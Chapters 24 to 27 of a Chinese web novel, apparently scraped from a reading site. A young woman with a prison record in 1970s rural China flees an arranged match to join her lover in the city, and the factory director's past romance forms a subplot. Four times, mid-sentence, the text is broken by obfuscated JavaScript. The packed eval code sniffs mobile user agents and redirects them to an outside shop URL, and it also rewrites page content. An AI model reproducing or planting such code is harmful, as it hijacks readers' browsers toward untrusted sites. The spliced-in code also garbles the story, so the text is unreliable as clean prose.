“这次去找她,我给了她最后一笔钱,她也说是最后一次找我们要钱了。这苦日子,总算可以结束了。” 这几年一直给林姗寄钱,刘途和姜大妞都很疲惫于这样的生活。 “林姗那边暂时不用担心,现在主要是四妹这边,不知道她当初在农场到底有没有收到过林姗给她写的信。”刘途目前唯一担心的是这件事。 “四儿这边好说,”姜木匠有自信,“我女儿我了解,她要是知道真相,不会是这种反应,早就自己哭鼻子离家出走了。” 他养大的女儿,他知道几斤几两。 那就好那就好,希望是这样……刘途又叮嘱老丈人千万不要和大妞说。 “那肯定,大妞这几年睡得不安稳,我不舍得拿这些乱七八糟的事烦她。”姜木匠沉沉叹了口气。 24. 重修 刘途在家里坐了片刻,吃完了丈母娘做的红糖荷包蛋以后离开了这里。 “四儿,过来,过来。”春花挥手招呼。 今天煮了四个荷包蛋,大女婿两个,四女儿也有。 一碗加了红糖和猪油的汤中,卧着俩黄白的荷包蛋。 姜四儿脸上的笑意掩盖不住,不可置信地矜持了几秒,“我?” 她指了指自己鼻子,再次确认,“给我的吗?” “不给你还能给谁?吃好点,胖些才好看。”春花的声音温柔又关心。 “谢谢妈。”姜四儿越说越小声,也不知道老妈是怎么了,错把自己当三姐了? 见她怯懦的样子,春花拍了女儿的背,“学学你大姐二姐,自信点,平日里是少你吃还是少你穿了?” “没。”姜四儿小口啃着糖水猪油包裹着的荷包蛋,舍不得一口气吃完。 大姐上个月拿来给她的鸡蛋和糖,平日里都用来炒菜做饭大家一起吃,像这种单独给自己开小灶的情况,着实少见。 “妈,两个太多了,我吃不完,还剩一个你吃。”姜四儿压下馋意,哄老妈。 春花推托说早上吃饱了,现在吃不下。 “噢,噢,好的。”姜四儿不好意思地把最后一个荷包蛋给吃了。 春花:“…………” 她有些哀怨地偷偷暼了四女儿一眼,自己只是客气一下,四女儿还真的就直接吃光了。 这要是三女儿,怎么说也会做戏说吃撑了吃不下,然后剩一半给自己。 唉,算了,不是想这个的时候,春花去把大女婿送的甘蔗放进了房间里藏好,又砍了一截出来和四女儿平分。 “不甜。”姜四儿啃了一口吃进嘴里,脸蛋儿瞬间皱了起来,难吃。 “这个日子的甘蔗还没长好,是这样的。”春花边说边继续去菜园里整理那几垄地。 中午全家聚在一起吃饭时,姜四儿拿了一整根甘蔗去知青点送给程月梨。 因着根甘蔗,周围瞬间围了好些个知青。 “我用两斤红薯换你这根甘蔗。”“小程同志,我用三斤芋头,换不换?”“我用半斤米,怎样?”………… 程月梨本来还有些犹豫,接收到姜四儿调皮地眨眼睛示意,立马拿那根甘蔗和别人换了两斤红薯。 两斤红薯够现在的程月梨节省着吃上一天半,值。 换到甘蔗的男知青热闹哄哄地离开,摩拳擦掌地要一起分享着吃。 “四儿姐姐,你刚才为什么冲我眨眼睛?” “因为那甘蔗还没到时候,外面看着规规矩矩的,其实吃上去不甜。” 也就只能哄哄这些农业生产知识没掌握好的知青们。 果然,一墙之隔男知青那边很快传出哀嚎声,大喊“什么破甘蔗!亏了,亏血本!” 有脚步声跑过来,那些人嚷嚷着要重新把红薯换回去,程月梨和姜四儿早就从侧面菜园子的门那边跑了,边跑边笑自己这边捡到了大便宜,留几个男知青在那边气得跳脚。 早就看透一切的一个老知青抽着旱烟坐在灶前笑得抹眼泪,他早就知道这群刚下乡几个月的小崽子会被骗,一点常识都没有。 “四儿姐姐,你送我一根甘蔗,你家里人不会说你吗?” “不会呀,我爸妈对外人都很好,大方。” 顿了顿,姜四儿补充道:“我二姐其实也很大方,看她对芯芯就知道了,每次发工资除了上交生产队换工分,剩下的一点钱都给芯芯买东西了。” 程月梨听明白了,“看来你家就你三姐不怎么样。” “没有啊,”姜四儿反驳,“三姐其实也很大方,她只是在家里横,对外人可好了。” 其实,整个家里比较小气的是姜四儿本人。 不管是什么好东西,姜四儿都很少愿意分享给外人。 俩人沿着小路散心聊天,程月梨摸着自己日渐消瘦的手腕,叹道:“前些天还说想和你一起去公社那里抓鱼,一直没时间。” “忙过了这阵就好,等全部粮食装袋,就可以轻松一点了。” “希望吧,每次都说忙过这阵就好了,但总有干不完的活,”程月梨想起一事,道,“你不知道吧,队长今天说县里建了个化肥厂,给了周围公社指标,咱们公社每个大队可以招俩人过去。” “哇,”姜四儿羡慕,“这是好事啊,竟然愿意让农村户口进去,肯定挤破头。” “确实挤破头,一个个都想去。”程月梨不屑地笑了声。 姜四儿了然,“你没被选中吗?没事,别生气,这不是你的问题。在咱们大队,这种好事基本上都是大队干部决定的。” “傻,我才不想去呢,”程月梨丝毫不在乎,“我妈说过,去化肥厂塑料厂服装厂这些地方当普通工人没什么好的,里面空气不好对身体有害,我可不受那个罪。” 啊? 姜四儿听得云里雾里的,当工人不是最好的事吗?怎么会对身体有害? 她从小生活的乡下山清水秀,劳改的农场虽贫瘠但也空气好,所以姜四儿压根理解不了程月梨说的厂里空气有害是什么意思。 话不投机半句多,程月梨撇撇嘴,心里吐槽表哥是怎么忍受姜四儿懵懂无知的模样的。 “你这样,和我哥能聊得来吗?” “能啊。” “你们平时都聊什么?” “嗯……”姜四儿脸有些红,“就一些很平常的东西。” 她不好意思说实话,当年贺明峥下乡时每天忙着干活,很少有能私下相处的时间,所以俩人只要找到机会,大多数都是黏黏糊糊的亲亲摸摸,正经聊天也没多少。 俩人闲聊着走到一个鱼塘边,见休息时间差不多了,然后分别沿着不同的小路回到自己住的地方。 几天后,春花从亲家刘家那里得知了姜四儿这次的介绍对象情况。 “亲家母说,她侄媳妇也在那纺织厂,打听过了,那男人是个小组长,很高,一米七的样子,长相就和咱大女婿那表姐夫差不多,客气得很。”春花和老伴儿聊着。 语气中,能听出一丝犹豫。 “这些条件都不错,我就有一点担心,亲家母说那男人是个油嘴滑舌的,”春花又想替四女儿给拒了,“找男人就得找嘴笨的,太油嘴滑舌的怕四儿压不住。” 姜木匠双腿盘在床边,双手撑在腿上,半晌没给个建议。 “你说话啊,到底行不行?行的话咱们俩家远远见上一见。” 平常春花这么说其实就是不满意,但这次姜木匠没顺着她的心思,缓缓开口道:“我看行,在纺织厂当个组长那也大小是个干部,人又年轻,以后前途是有的。” “就是太油腔滑调的我不喜欢。”春花说得直皱眉,嫌弃。 “你再给拒了人家支书家里还会给你介绍吗?你数数看你都拒绝几个了?再拒了以后关系都闹僵,就这个,见一见,人要是还能看,就定下来。”姜木匠主要是有自己的私心,自打从大女婿那里得知林姗这个不稳定因素后,姜木匠迫切希望把四儿嫁出去。 嫁出去就尘埃落定了,都说嫁了人才会长大,四儿嫁出去后,也能体谅父母的难处和不易。 姜木匠下定决心的事,春花知道自己多说也无益,便去通知四儿后天穿上那件刚买不久的白色衬衫去公社。 23号,生产队长带队,一群力气大干活踏实的人拉着板车运粮食去粮站交公粮。 姜四儿以为爸妈叫上自己是去一起送粮食的,没想到爸妈让自己坐板车上休息。 “爸,我自己走吧。”姜四儿坐立不安。 她爸推着一车的粮食,她还坐在车上增加重量,太不孝顺。 “你坐。”在旁边扶着粮食的春花笑容满面。 天气虽然转凉,但是一路走去公社肯定还是会出汗,他们得让四儿保持最好的状态去见相亲对象。 一群人汗流浃背地到了粮站,人山人海,大风一吹,出了汗的人还有点冷,蜷缩着身子。 “还早着呢,看这情况得排队到下午去,你们该干嘛的干嘛去,留下两个人和我一起看着粮食,其他人散了吧,下午再过来。”生产队长发话。 其他四个人各自散了去公社逛街,姜四儿跟着爸妈去了大姐工作的供销社。 供销社对面的茶水桌上,看到姜四儿出现的支书老婆推了推身旁的母子俩,“就那个,白色衬衫的,最高挑的那个女的。” 供销社里头,姜大妞给爸妈指了指方向。 姜四儿本来还啥也不明白,直到家人都问她对面茶水桌上那寸头男看着咋样,姜四儿瞬间知道了爸妈的用意。 爸妈就是看准了她的性格,所以直到此时才挑明。 “不错,和亲家母说的一样,高,身材不胖不瘦,肯定有一米七。”这是春花目前为止见过的最满意的一个。 “长得也周正,差不了。”姜木匠也放心了。 一大早就和那男人聊过几句的姜大妞也觉得好,“这母子俩大清早坐最早班的班车下乡来,一去我家就送了一袋水果,说话也风趣,和我公公很聊得来,是个好小伙。” “那怎么会看上你四妹,他家里条件这么好。” “人家说了,不在乎坐不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586561|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐牢,只想要漂亮的。他娘也说了,他家上头有关系,如果她儿子能和四妹看对眼,就找关系和厂里说让四妹也进去在食堂做个小帮工。 小厂子没那么多讲究,不审查你坐不坐牢,有关系都好说。”姜大妞解释。 说话的同时,姜大妞全程关注着四妹的反应,见四妹皱着眉低头不语,她赶紧安慰,“四妹别怕,你不喜欢咱就不要。” 春花的笑容僵在脸上,姜木匠脸色也变了。 这么好的条件还有什么不满意的? 在爸妈面前,姜四儿还是和以前一样,不乐意的事就低着头不吭声。 “你都23岁了,还不结婚想什么时候结?你舅爷家的表哥25岁没结婚他爸妈把他赶出门,”姜木匠板着脸,“别说是你了,你二姐她也该结婚了,我们现在活着还能养你们一阵子,我们死了呢?你们怎么活?” “是啊,你二姐现在也在相看对象,你大姐夫家给她介绍了好几个男生,也都是县里的,你和你二姐以后都嫁去县里,还能一起作伴,多好的事啊,”春花劝道,“今天这个见了面我觉得真的还不错,四儿,你说呢?” 姜四儿还是不吭声,姜大妞调解道:“这样吧,先不直接拒绝,也不直接答应,等过几天我这边休假带四妹去县里纺织厂看看那人工作的地方。” 大女儿都开口了,姜木匠没有不答应的,事情暂时就这样定下。 几天后姜大妞带着四妹去县里,远远看了眼工厂的环境,又向保卫科大爷和里面女工人打听那男人的情况。 “这次这个真不错,我和四妹过去那边,他还特意请假带我们去国营饭店吃了顿好的,又陪我们去县里门市部逛,”姜大妞打心底里满意,“他和四妹聊天时耳朵都红了,想来对四妹是一万个满意,还在门市部给四妹买了双白网鞋。” 那张嘴嘛,确实能说会道,和姜大妞说话时姐姐长姐姐短的叫着,难怪能在厂里混得好,这么年轻就是组长。 姜大妞这些话说得姜老三都有些羡慕了,四妹一个坐过牢的,竟然也能找个这么贴心又工作好的工人? 姜二丫听了高兴,“四妹,错过了这个你绝对后悔。” “还有什么好说的,这个明显是你能挑到的最好的一个了,”春花拍拍四女儿的手,“四儿,你心里到底怎么想,说句话。” 从始至终四女儿都像个哑巴,别别扭扭。 姜大妞一瞬间有丝不忍,不想逼迫四妹。可她心里也认为这个男人是四妹能找到的最好的一个,所以不反对。 为了四妹的未来,她姜大妞今天就做这个恶人了,这次站在了爸妈这边。 “你赶紧表个态,别耽误人家这么好的男同志。”姜木匠拍桌子。 “我怎么就耽误别人了?从第一次见面到现在才四天,我怎么就耽误他了?”姜四儿眼眶瞬间红了,她压根就不乐意,又因着在家寄人篱下不敢直说。 家里人不是不懂,但非得逼她亲口说出同意二字。 姜四儿不直接拒绝,姜家人当晚就开始和支书老婆商量定下来的事,现在秋收刚过,年底要挑堤防洪,就这一个月是比较闲暇的时间,要结婚就在这一月之内。 一伙人聊着结婚该准备的东西聊到大半夜,第二天春花醒来发现院子里没人打扫,去小砖房找人,早已人去楼空。 凌晨就收拾行李跑路的姜四儿靠着双脚走路已经快走到了县里。 农场一辆运输的大车行驶在路上,远远看见一个挥着手的女同志冲他挥手。 让人上车后听到她要跨省去s市,司机好心劝,“你不想结婚就和家里好好说,这样不行,你身上介绍信都没有,去了城里没地方住,被人当盲流抓到可有你罪受。” “我在城里有亲戚。” “那也不行啊,没有介绍信,亲戚也不好和街道办事的人交代,你到时候还是会被抓走。” 姜四儿握着行李的手指焦躁不安地抠着袋子,不爱听这司机说的话。 司机通过镜子注意到她偷偷瞪了自己,心里哭笑不得。就这不听劝的性子,就算自己把她送回家,她还是会偷偷跑出来。 有些人,不见棺材不落泪。 “行,我帮你一回。” 司机不去s市,只能送她去本市的车站。 “你没有介绍信,跨省去s市不能坐火车,火车购票看得严,中途也有查验,”司机把她带去了一个长途汽车站,“同志,看你运气了,要是中途有民兵查验证明,你还是得被遣送回来。” 姜四儿低声说了句谢谢,掏出一张钱作为报酬往卡车司机驾驶室一扔,然后飞快地跑了。 25. 重修 贺明峥接到通知去保卫科时,看到的就是被盘查问话的姜四儿。 将人带走,贺明峥好奇问她怎么来的。 姜四儿把前因后果简单说了,她就是来投奔贺明峥的。 “你疯了吗?你连介绍信也没有,就这么大摇大摆地跨省进城,被抓到有多危险你不知道吗?” 贺明峥恼怒的时候语气可不太好听。 被凶的姜四儿当下就推了他一把,也吼了回去,“我不来找你我能找谁?” “找你暗恋的大姐夫去。” “滚!” 姜四儿把简单的行李往他身上一砸,转身抹着泪就走。 贺明峥双手插兜,还在那不服气地抬着下巴一脸怒容。 过了几分钟,在姜四儿即将离开自己的视线范围之内,贺明峥这才又跑过去把人给拉住。 俩人就这么拉拉扯扯又骂又闹,很不成体统。 “先去找个休息的地方,其他的安顿下来后再说。”贺明峥捡起了地上的行李。 “我不待你这里了,我要走。”姜四儿扯他的手。 “你现在到底是要解决问题还是要过家家?”贺明峥又吼她,“已经下午四点多了,现在首先要解决的就是你的住宿问题。你没有介绍信,没有招待所会接收你,明白吗?” “那你也别管我,你让我被抓走,我不活了,我去死。我去死你就开心了,贺明峥你负心汉。” 贺明峥翻了个白眼,每次吵架都要骂这个词,听都听烦了。 “我真的是,”贺明峥厌烦地叹气,“我真的和你过不下去了你知道吗?” “不过了!那就不过了!” “行行行,不过了,你走啊。” 姜四儿转身就要走,但是那个抓着她的混蛋又不松手。 俩人吵吵打打到最后没力气了,姜四儿一屁股坐在地上发呆。 “乖乖儿,五点十分了,咱们现在必须去找个地方让你落脚,要不然被查到真的有被抓走的危险。”贺明峥轻声开口。 姜四儿脑袋发懵没反应。 贺明峥再次开口后,姜四儿回过神来翻了他一个白眼,张嘴的瞬间眼泪又流了下来,“别叫我乖乖儿,你不喜欢我了就别这么叫,恶心死了。” “怎么就不喜欢你了?”贺明峥蹲在她面前给自己辩解,“我怎么可能不喜欢你。” “那你刚才吼我。” “我性格不好,我性格有缺陷,对不起。” 姜四儿再次翻了他一个白眼,抿了抿嘴不说话。 贺明峥戳戳她有点肉肉的脸蛋儿,“怎么觉得你长胖了点。” 嗯?姜四儿瞪大了眼睛看他。 “没胖没胖,你之前太瘦了,现在气色好了更漂亮,”贺明峥拉她起来,“走,咱们去给你找地方住,你在这等我,我去和所里请个假。” “我不能去你那里住吗?”姜四儿轻轻勾他的手,晃啊晃,“我还想去你工作的地方看一看,月梨说你的工作比工人好,我想去看看。” “我……”贺明峥挠挠头,“我没办法带你进去。” “为什么?”姜四儿乖巧地微微抬头看着他。 “我工作的地方你进不去,工作内容都是要保密的,”贺明峥温柔解释,“至于我住的地方,也不容易就这么进去。你听我的,我有安排。乖,在这等我一会儿,我马上回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586562|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 好吧,姜四儿这下也不是那么好奇了。 等了十几分钟,贺明峥请完假后牵着姜四儿一直走,走到一个简易的站牌下等车。 “我们现在去哪儿?” “去我妈以前工作的零食厂。” 姜四儿也不知道具体要做些什么,她也不懂,所以全程听对方的。 一无所有地跟着贺明峥上车下车,最后来到一个占地规模很大的厂子。 工厂身姿挺拔的保卫人员认得贺明峥,和他打了招呼后直接让他进去了。 贺明峥按照记忆中的路线去到厂长住的地方,让厂长给姜四儿安排一个住的地方。 “那去3号筒子楼怎么样?那里有空房间。” “有单间吗?她住不惯大通铺。”贺明峥得寸进尺。 “有有有,肯定是有的。”厂长喊了自家媳妇儿,让她带着姜四儿去放行李。 这边,厂长问贺明峥对方的身份。 “她叫姜四儿,古老姓氏姜,家里排行老四叫四儿,是我对象。” “结婚了?” “没呢,现在和她吵着架,和她说话就烦。不想和她结婚,以后看她表现。” “…………” 厂长听他说话也觉得烦,不像个正人君子。 “你们俩吃晚饭了吗?” “没来得及,叔,你随便帮我炒两个菜,我怕她饿。” “我还得伺候你们年轻人是吧?”厂长边起身边吐槽,“这么心疼你对象你怎么不自己做饭?” “那也太惯着她了。” 厂长:“…………” 他现在恨不得拿锅铲敲他脑袋。 26. 第 26 章 等姜四儿放好行李跟着厂长媳妇儿回来时,厂长已经亲自做好了饭菜,一碗花生米,一盘煎蛋。 “你先简单吃点,明天带你下馆子。”贺明峥给姜四儿搬椅子。 四个人挤在狭窄的二十平的小房间,姜四儿紧紧跟着贺明峥。 贺明峥去盛饭她贴在身后,贺明峥转身她也跟着转身。 她像是贺明峥身后的一道影子,贺明峥自己察觉不到,别人却可以看到她的依赖。 “吃吧。”贺明峥把盛好饭的碗筷摆在桌上。 姜四儿刚端起碗筷,对面坐着的厂长很没眼力见地开口:“小峥你不饿啊?你也一起吃啊。” 贺明峥脸上的温柔笑容没了,有点烦躁地抬眼看向厂长,嫌厂长多嘴。 他本来就不打算吃,菜太少了,三个鸡蛋炒好的菜让四儿一个人吃就行了,他不想抢四儿的东西,想让她吃好一点。 “中午在食堂吃撑了,不想吃,”贺明峥帮忙把大块鸡蛋夹在饭碗,催促四儿,“快吃,鸡蛋凉了有腥味,到时候你又吃不下。” “嗯。” 姜四儿一个人吃着热乎的饭菜,半边身子都靠在贺明峥身上,耳朵竖着听贺明峥和厂长夫妇闲聊。 一盘鸡蛋和半碗花生米以及一碗米饭被姜四儿吃了个干干净净。 贺明峥收拾碗筷去洗,姜四儿还想跟着,又害怕筒子楼漆黑的长廊。 “你和长辈们聊聊天,别怕,我洗完就回来。” “好,那你快点。” 贺明峥失笑,在昏暗的长廊里吻在她脸颊。 红透脸的姜四儿快乐地回到房间,面对陌生长辈又有些怯懦不自在。 “四儿啊,你老家在隔壁省的崇盛公社?” “嗯,叔,你怎么知道的?” “那小子当初下乡的地方,我知道,”厂长叹了口气,“你一个人从乡下过来,大老远的,不容易啊。” “还好,遇到了好心人。”姜四儿把一路上遇到的事说了出来。 从她如何走路去县里,又如何遇到好心农场司机搭她去市里,再如何运气好地一路坐长途汽车来到s市都没被盘查过。 “我运气一向很好。”姜四儿张嘴露出笑容。 厂长点点头,“到了这里就好了,你先在这里安心住下。小峥那孩子工作忙,你有事优先找我们,不用和我们客气。他爸妈和我差不多大岁数,从小我们几个一起玩到大,都是一家人。” “嗯。”姜四儿俩手互抠着指腹上的肉,眼睛时不时看向门口。 洗完碗筷的贺明峥小跑着回来,出现在门口的一瞬间,俩人对视,瞳孔微缩,把所有欢喜的情绪收敛了大部分,在外人面前保持着矜持。 昨天贺明峥刚拿着红皮本供应证去国营粮店领了粮票,现在正好,可以拿出来给姜四儿用。 “这些粮票和钱你自己拿着,明天让婶婶带你去食堂窗口换菜票饭票,以后三餐吃饭在这里吃,不用等我。” 姜四儿声音立马就哽咽了,“那我什么时候才能见你。” “明天周天休息,我上午有点事要做,下午来找你。” 贺明峥的声音又轻又缓,厂长夫妻俩从没听过贺明峥这小子如此温柔的声音,碍于长辈的威严,想笑又只能忍着。 四人聊到七点了,姜四儿轻轻推着贺明峥让他回去,晚了该没有车了。 “不急,我们市有夜班车。”厂长老婆再也忍不住了,满脸看戏的笑容不停打量着面前的一对。 还得是年轻同志啊,谈起恋爱来热烈如飞蛾扑火,怎么掩饰都是枉然,有心人多琢磨几下就能看出爱意。 又聊了一会儿,厂长老婆提着几个暖水瓶要去楼下水房打水,姜四儿起身拿着手电筒给人照亮随行。 “诶,谢谢了,是个好孩子。”厂长老婆带着四儿离开房间。 “走廊里杂乱,乖乖儿小心别摔倒了,看着脚下。”贺明峥走到门口还在不停叮嘱。 “知道了,你进去吧。” 目送爱人离开了视线,贺明峥回头对上厂长打趣又温柔的眼神,不好意思地坐了下来。 “叔,你和婶婶看上去有问题,发生什么了?”他今天在这待了这么久,就没见夫妻俩对视过,看上去像是有了隔阂矛盾。 厂长沉默地拿出根烟来抽。 贺明峥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586563|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得他以前不爱抽烟的,看来是真的遇上事儿了。 “你芳姨上个月来找我了。”厂长缓缓开口。 贺明峥小时候听爸妈八卦过,八卦厂长年轻时和那个芳姨轰轰烈烈的爱情故事。 一个沉闷的青年被明亮美人吸引的故事,一个按部就班的工作,一个爱自由不愿被枯燥的生活所束缚,故事以有缘无分收场。 明亮美人离开,沉闷青年走向父母规划好的生活,娶了一个同样沉闷的妻子。 按照爸妈以前的分析,厂长叔叔应该是爱那个芳姨的,和现在的婶婶结婚不是因为爱。 “芳姨来找你干什么?” “她不是一个人来的,她带了一个青年过来,那青年和你差不多岁数。” “哦,”贺明峥点了点头,然后突然瞪大眼,“不……不会是我想的那样吧?” “就是你想的那样,当年你芳姨离开我时怀了身孕,这么些年她一个人带着孩子长大生活,也……也从没有找过别人。” 贺明峥梳理了一下思路,头疼地扶额,“叔,你不要冲动。我知道你可能现在还没能完全忘记芳姨,但是你和婶婶这么多年相濡以沫,酸甜苦辣一起尝,老夫老妻的感情了,你不能对不起她。” 厂长沉默着没说话。 九点后, 贺明峥要离开了,姜四儿送他到厂门口。 一路上贺明峥和她吐槽厂长的感情事。 “我觉得你们想得太多了,按你说的,那个芳姨是拗不过长大的儿子,所以带他来见亲爸,除此之外她没提过任何要求。说不定她根本就不喜欢厂长了,也没打算破坏厂长夫妇的感情,一切搞不好是厂长自己心虚还喜欢着芳姨,所以方寸大乱了。” “如果是你说的这样,那叔就是负心汉,不是好男人。” “你知道什么是好男人吗?”姜四儿调皮地看着他。 “当然,像我爸那样的就是好男人,一辈子爱我妈对我妈好,没有别的女人。”贺明峥骄傲道。 姜四儿笑盈盈地拉着贺明峥的衣摆,随着他的动作而动作。 俩人黏糊糊的走到大门口,许久之后才不舍地分开。 27. 第 27 章 第二天周天休息,贺明峥上午买了点水果去看林姗。 他俩上个月去外省医院一趟,手术完成后俩人回来s市,回了各自的单位。这么久了,贺明峥今天特意过来看看结果。 但林姗脸上还缠着纱布,肿着, 目前还看不出美丑,看不出来这次手术的成效。 越是看不出美丑贺明峥越是焦躁,他由衷祈祷上天这次一定要把林姗的脸美容好。 探望完这个神经病,贺明峥在中午吃午饭前赶到了零食厂。 “走,带你下馆子。”贺明峥双手插兜。 姜四儿拿了两张粉红色的纸,三两步跑到贺明峥身边,献宝似的说,“今天早上婶婶给了我一捆这个纸,说可以拿它擦嘴。” 城市里的一切新鲜东西都让她觉得好玩。 “和婶婶说谢谢了没?” “说了。” 她小心将两张纸叠好,放进口袋里。 贺明峥率先一步跨了出去,姜四儿在身后小跑着跟上。 他走得大步又快,姜四儿跟上需要些力气,不一会儿就跑得脸颊红红。 走过零食厂大门,贺明峥停下等她。 “早上吃的什么?” “在食堂吃了两分的粥。” 俩人步伐一致,慢慢在外走着。 “只吃粥?” “还买了一分的豆子。” 贺明峥昨晚给了她粮票和钱,她今天一早跟着婶婶去食堂兑换了菜票饭票。 即使贺明峥给了她很多钱,那么多钱也用不上,在厂长媳妇儿的关照下,食堂也最多给她兑换十块钱的本食堂专用菜票。 这已经比很多人奢侈了。 姜四儿不亏待自己的胃,也不大手大脚。 “我算了一下所有的菜票饭票,再除以三十天,这样就不会用超标了。” “你会除法?” “会,我在监狱和劳改的时候学习了很多知识。” 真棒,贺明峥抬起左手想把她一把拉过来亲,突然意识到现在在大街上,硬生生忍住了,最后手掌停留在她头顶,揉了揉那秀发。 “出狱了有没有坚持学习?” “有啊,我在家也会经常看报纸,看不懂的就自己查字典,也会去问月梨。” “月梨对你好吗?” “好,”姜四儿微微仰头看他,分享喜怒哀乐,“我刚回家那会儿,没有人和我玩,我过得很难。后来她经常来找我玩,我们现在已经是很好的朋友了。” “把她当解闷的就行,不用太交心。” 姜四儿翻了他一个白眼,“你可是她表哥,怎么能这么说话。她对我很好很好,我已经和她交心了。” 贺明峥敛眸一瞬,嘴角上扬。 ‘交心吧交心吧,以后被程月梨背叛有你好受的。’贺明峥脸上恶劣的笑容一闪而过。 又是这样,姜四儿看到了他的表情变化。 以前她在乡下交朋友时也是这样,贺明峥总说她身边朋友的坏话,还一副‘真蠢,不听我的,等着看你栽跟头’的神情。 “你又看不起我!”姜四儿打他。 贺明峥摊手,“我刚刚可一个字也没说,什么时候看不起你了?” “你当我瞎吗?你刚才是什么表情?” “我怎么了?我怎么了?”贺明峥叉腰,吊儿郎当死不认错的态度。 姜四儿气得一言不发,狠狠瞪着他。 俩人就这么面对面站着对峙,谁也不开口。 几分钟后姜四儿眼眶一红,转身就要回去。 “你确定不去下馆子了是吧?”贺明峥跟在她身后往回走。 姜四儿不开口,快步走着。 贺明峥小跑着一路跟,“我刚才没有嘲笑你,我就是觉得你太单纯了。” “你是觉得我蠢!你不是觉得我单纯。”姜四儿现在不是全文盲,能分辨一些词语应该用在哪些地方。 蠢和单纯,是不同含义的词语。 “我什么时候觉得你蠢了?你又不分青红皂白地怪我。”贺明峥仍旧死鸭子嘴硬,不承认。 他不承认错,姜四儿根本不可能再和他聊下去。 俩人下馆子的事不欢而散,姜四儿回到房间关上门,贺明峥站在门外还在继续狡辩。 最后说得没意思了,口干舌燥,贺明峥离开,去看了厂长夫妻俩。 正在织毛衣的婶婶头也不抬地道:“你们不是去吃饭了吗?” “吵架了。” “吃个饭还能吵架?”婶婶抬头,叹了口气,“那么漂亮的小姑娘,你要多担待。” “婶,她是漂亮,但我也不差。” “随你,小吵怡情,你自己把握那个度。” “婶,那你们呢,你和叔这次是小吵怡情还是什么?” 贺明峥拉了把椅子坐下。 叔婶俩人没有自己的孩子,从小对贺明峥像自己亲生孩子一样。 比起厂长的白月光芳姨,贺明峥和现在的婶婶关系更近。 他现在很厌恶那个芳姨。 “我和你叔的事你个小孩子能懂什么,少问。” “婶,你得给我个准信,要不然我担心。” 贺明峥爸妈是他见过最恩爱的,青梅竹马从小一起长大,结婚后感情只增不减,是很多人羡慕的存在。 如果说贺明峥爸妈是快快乐乐的小两口,那厂长夫妇就是冷静稳重的小俩口,有商有量互相扶持的模范夫妻。 贺明峥不希望叔婶分开,他们夫妻俩一直是贺明峥的榜样。 “你想得太多了,”婶子不屑地笑,“你叔不可能和我分开,他离不开我。” 厂长不管是工作上还是生活上,有遇到难题都会和媳妇儿商量,俩人不仅是多年夫妻,还是兴趣爱好甚至脑回路一致的最佳好友。 婶子一向能抗事,她说没问题贺明峥就相信, “那你们现在闹什么别扭?” “我能看出来他对那个阿芳心里还有情。” “这样确实不好,婶婶你生气是应该的。” 婶子摇头,“我遇到你叔之前也有过几个情郎,恐怕现在见面了心里也会有波澜。我自己如此,又怎么会生气怪他。我闹别扭,不过是因为有一点吃醋,不是什么大事,你别瞎担心。” 贺明峥:“………………” 他的三观受到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586564|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲击,老一辈玩这么大? 他浑浑噩噩的去找姜四儿。 听到有八卦,姜四儿总算是开了门。 俩人一起下楼去一个花坛边坐着,姜四儿双手托着脸,眼睛眨也不眨地看他,“快说快说,怎么回事?” 贺明峥痛苦地皱眉,把叔婶的事再次详细地给她说了一遍。 “也就是说,你叔婶结婚前都各自有其他爱的人。而且,他们俩现在各自见了前任也还是会有心动。” “嗯。”贺明峥双手捂脸,痛苦非常。 他一直以为叔婶是模范夫妻,和爸妈一样是纯爱,他一直以他们为榜样。 现在他才知道叔婶根本和爸妈比不了。 贺明峥接受无能,姜四儿却在一旁分析得津津有味。 看到贺明峥脸色苍白,姜四儿笑得开心又可恶,坏坏的,“孩子她爹,你心灵太脆弱了。” 贺明峥无力地叹了口气,“我只是一时间接受不了,过几天就好了。” 还有啊, “什么孩子她爹,别乱喊,咱俩又没孩子。” 姜四儿心虚地挠挠头: 